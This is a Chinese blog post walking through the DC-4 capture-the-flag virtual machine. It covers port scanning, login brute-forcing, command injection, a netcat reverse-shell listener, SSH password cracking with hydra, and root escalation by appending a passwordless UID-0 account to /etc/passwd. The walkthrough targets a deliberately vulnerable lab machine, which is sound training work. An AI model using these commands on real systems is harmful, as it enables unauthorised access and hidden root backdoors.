DC-4
DC-4
额,大家说这个靶机更难了,但是好像我觉得有点简单
基础信息收集
使用nmap查一下服务:
1 | nmap -sC -sV -A -p- 192.168.145.137 -T5 -oN nmap |
一个ssh,一个HTTP。
Nikto并未收集到什么有用的信息。
网页打开后是这样的:
随意尝试了几个弱口令,发现Web服务好像未对登录有限制,先记一下,方便后续爆破。
dirb扫出的目录也很有限。
爆破账号
爆破永远是最后的方式,在此之前已经使用过sqlmap检查注入存在的可能性
使用Burp自带的密码字典加常见用户名成功爆破出账号密码:
命令行注入
进去后发现这个:
应该是命令行注入,抓包看看请求:
很简单明了的命令执行,ls /可以直接拿到根目录:
反弹shell
既然可以直接执行命令,那么反弹一个shell就很简单了:
在kali监听1234端口:
1 | nc -lvnp 1234 |
发送一个数据包:
地址改为自己Kali的地址。
成功拿到shell:
再执行:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
密码爆破
jim目录下有备份文件夹,应该有些有用的信息:
存了密码的备份。考虑之前扫描服务器有ssh的服务,利用这个备份密码文件爆破一下jim,把备份文件拖到自己的Kali里,然后:
1 | hydra -l jim -P jim ssh://192.168.145.137 > hydra |
成功爆破出密码:
最终提权
链接ssh后,jim的目录下的mbox文件是一个由root发来的邮件,考虑到Linux的邮件存储位置 /var/mail, 查看一下:
果然有东西,看看内容:
拿到了charles的密码。
使用sudo 查看当前用户权限:
执行sudo亦需要鉴权,那么切换未charles用户看看:
teehee,这是一个没见过的命令。
teehee居然可以向文件添加内容!并且还是root权限添加!
这下简单了!在开始最终提权前,必须明白/etc/passwd文件的结构:
1 | root:x:0:0:root:/root:/usr/bin/zsh |
这是一个账户的标准配置,它按照这样的规则书写:
1 | 账户名称[user]:pwd[x or null]:UID[0=>系统管理员;1~499=>系统用户;500~65535=>一般用户]:GID[user group]:用户信息说明:主文件夹[/home/$user]:shell[默认shell] |
根据这样的规则,我们可以随意构造一个拥有Root权的用户,并无需密码登录,只需要将第二个pwd置为空即可:
1 | echo "escape::0:0:::/bin/bash" | sudo teehee -a /etc/passwd |
然后切换至escape用户,成功提权拿到root权限:
- 本文标题:DC-4
- 本文作者:青 叶
- 创建时间:2021-03-29 22:21:22
- 本文链接:p/41977/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!